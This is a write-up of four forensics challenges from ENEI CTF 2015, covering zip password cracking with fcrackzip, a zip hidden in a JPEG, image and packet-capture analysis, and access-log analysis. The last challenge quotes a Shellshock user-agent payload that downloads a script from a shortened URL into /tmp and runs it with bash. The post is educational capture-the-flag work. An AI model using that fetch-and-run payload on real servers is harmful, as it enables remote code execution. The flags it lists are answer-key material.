ENEI CTF 2015 - Writeups

Forensics

Posted by André on September 17, 2015

Forensics

1 - Crack me!

We asked our security department to access a forum account, as part of a cyber crime investigation.
They sent us a file containing the password of the suspect. Can you retrieve it?
Download: message.zip

Let's try to unzip this file:

$ unzip message.zip   
Archive:  message.zip
[message.zip] message.txt password:

No problem, I'm going to crack you. Fcrackzip, come here please!

$ fcrackzip -u -c a --length 2-5 message.zip
PASSWORD FOUND!!!!: pw == zxcv

Don't forget to use '-u' since we want to use unzip to weed out wrong passwords, '-c a' to choose a-z and '--length MIN-MAX'.

$ unzip message.zip
Archive:  message.zip
[message.zip] message.txt password: zxcv
  inflating: message.txt

$ cat message.txt
We just hacked into the forum database. However, the passwords are not stored in clear text.
This is all we got: cbfdac6008f9cab4083784cbd1874f76618d2a97

Just look for the hash on google to find the password. The correct flag is 'password123'.

2 - The mysterious beach

We intercepted network packets between two suspects. This picture was exchanged in the in the communication. We think there is something hidden within the image. Can you find it?

After a few attemps using steganography tools we can't find anything. EXIF data also doesn't show anything relevant. Let's search for strings in the file:

$ strings beach.jpg
...
[y0d
flag.txtUT	
Jh<(7
G-KPK
flag.txtUT

PK and flag.txt? There is a zip file appended to the image data!

$ unzip beach.jpg
Archive:  beach.jpg
warning [beach.jpg]:  148297 extra bytes at beginning or within zipfile
  (attempting to process anyway)
[beach.jpg] flag.txt password:

There is a camera model in the EXIF data (Samsung GT-I9100G), but it's not the password. The two suspects must have prearranged the password before. Let's try to find where the photo was taken using reverse image search. The best text result for this picture is 'djibouti beaches'.

$ unzip beach.jpg
Archive:  beach.jpg
warning [beach.jpg]:  148297 extra bytes at beginning or within zipfile
  (attempting to process anyway)
[beach.jpg] flag.txt password: djibouti
  inflating: flag.txt

$ cat flag.txt 
Experience is the teacher of all things.
aolzljylamshnpz:l8376l3ijhhkm0j11725051h81354k67624kk655

'Experience is the teacher of all things' is a Julius Caesar quote. Let's use Caesar cipher to decrypt the text.

ROT 19 = thesecretflagis:e8376e3bcaadf0c11725051a81354d67624dd655

3 - Thug Life

Xiene is still under investigation. Our secret agents pulled this image from his laptop, but we can't find nothing special in the picture. Can you help us?

Let's try to obtain the original image, using google reverse image search. Now, we just need to compare these pictures. I'm going to use ImageMagick compare script:

$ compare thuglife.jpg thuglife-original.jpg diff.jpg

Here is the diff image:

http://goo.gl/edHfue redirects to a dump file. You can download it here. Let's see what kind of file it is:

$ file dump
dump: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

I'm going to use Wireshark to analyze this capture file:

The machine with the IP address 192.168.43.113 is downloading a mp3 file. We can extract it from the dump since the session is not encrypted.

The original music is Knife Party - Boss Mode. If you listen to the original music and this one you will notice strange sounds at 2:24:

This voice seems reversed. We just need to apply a reverse effect and compression. You can also use center pan extractor plugins. Just play with the favorite audio editor of your choice and apply these effects to understand the correct flag.

Hello Xiene, your secret flag is: f0bb233b20103b2317241ff2d43a49159853055f.

4 - Track him through the chaos!

We detected a possible attempt of hacking on our servers, can you please verify if that is true and if possible find who is behind it and if we need to worry about future attacks? A tip is available for this question: To find meaning in "random" data we need to look for repetitions or patterns. Maybe a histogram can help. Download: access.log

If you inspect the log carefully you can find 64 variations of the user agent: { :;}; /bin/echo "p0wned! :D Lulz anti-sec. Someone is trying to use the shellshock vulnerability by modifying the user agent. However, one of the injections if different: () { :;}; /bin/bash -c '_="___";wget http://goo.gl/K6A7lP -U $_ -q -O /tmp/ox);/bin/bash /tmp/ox'.

The link redirects to our server. You can download the shell script here.

$ ./bin
$ cat /tmp/warning.txt
El @Xiene1337 was here

Let's check @Xiene1337 on twitter:

Now, we have two files: binrar and dumpz:

$ file binrar
binrar: data
$ file dumpz
dumpz: Zip archive data, at least v2.0 to extract
$ unzip dumpz
Archive:  dumpz
  inflating: dump
$ file dump
dump: ASCII text
$ strings binrar | grep PK
PK0DD(1

This seems to be a zip file. Let's try to find wrong bytes in this file.

$ xxd binrar | less
00000000: 514b 0304 1400 0000 0800 9465 6146 0223  QK.........eaF.#
00000010: 6cc9 97ed 0300 ed0a 0800 0300 1c00 6269  l.............bi
00000020: 6e55 5409 0003 b809 f354 b909 f354 7578  nUT......T...Tux

You should know that a zip file starts with "PK". Modifying 'Q' to 'P' seems to be a good start. Just use your favorite hex editor to change it (I'm using Bless Hex Editor). We can now easily unzip binrar!

$ unzip binrar
Archive:  binrar
  inflating: bin
$ file bin
bin: ASCII text

I'm going to follow the hint. The following python script prints the number of occurrences of each char in a given file.

import sys

f = open(sys.argv[1]);
freqs = {}

while(True):
   c = f.read(1)
   if not c:
      break
   try:
      freqs[c] += 1
   except:
      freqs[c] = 1

print(freqs)
dump:
{'\n': 2157, '1': 2340, '0': 2382, '3': 5842, '2': 8358, '5': 1504, '4': 1074, '=': 1, 'A': 2912, 'C': 631, 'B': 578, 'E': 3402, 'D': 6196, 'G': 1702, 'F': 869, 'I': 2481, 'K': 630, 'J': 1527, 'M': 14717, 'O': 2604, 'N': 18492, 'Q': 2962, 'R': 862, 'U': 3629, 'T': 7982, 'W': 1988, 'V': 874, 'Y': 10375, 'Z': 6371, 'c': 5489, 'd': 277, 'g': 921, 'i': 1188, 'h': 1211, 'k': 2543, 'j': 11250, 'm': 4544, 'l': 2435, 'o': 548, 'p': 82, 'w': 3336, 'y': 2959, 'x': 3218, 'z': 10602}

bin:
{'a': 12649, 'c': 12727, 'b': 14162, 'e': 26475, 'd': 16061, 'f': 19212, '\n': 8109, '1': 42580, '0': 42672, '3': 30434, '2': 37105, '5': 30087, '4': 30638, '7': 73329, '6': 97118, '9': 19665, '8': 14062}

From this information we can realize that the bin file contains only hexadecimal numbers. However, you may have eventually noticed that dump ends with '='. Let's try base64!

$ base64 -d dump > dump_decoded.txt

Nice, bin and dump_decoded.txt are now very similar. The python script below reads the input file and converts the hexadecimal data to string. Then, counts the number of repetitions of each character and sorts the result in descending order.

import sys, operator

f = open (sys.argv[1], "r")
data = f.read().replace('\n', '')

s = "".join(chr(int(data[i:i+2], 16)) for i in range(0, len(data), 2))

freqs = {}

for c in s:
   try:
      freqs[c] += 1
   except:
      freqs[c] = 1

freqs = sorted(freqs.items(), key=operator.itemgetter(1), reverse=True)

print("".join(freqs[i][0] for i in range(0, len(freqs))))

$ python2 freqs.py bin
aptesbin.omc/duKHhWU65&l> (...)
$ python2 freqs.py dump_decoded.txt
pasetb.inc/moKudUWHh (...)

It looks like a pastebin link. Let's try to concatenate these files and then run the script again!

$ cat bin dump_decoded.txt > join.txt
$ python2 freqs.py join.txt
pastebin.com/uKdUHWh6 (...)

Gratz! \o/
You broke the obfuscation on the communications used by the hacker.
You can report it's activities and prevent anyother attack he may try to launch.

Here is your winning flag!

876265cf5b024275cfad69a109a51d359c3fe260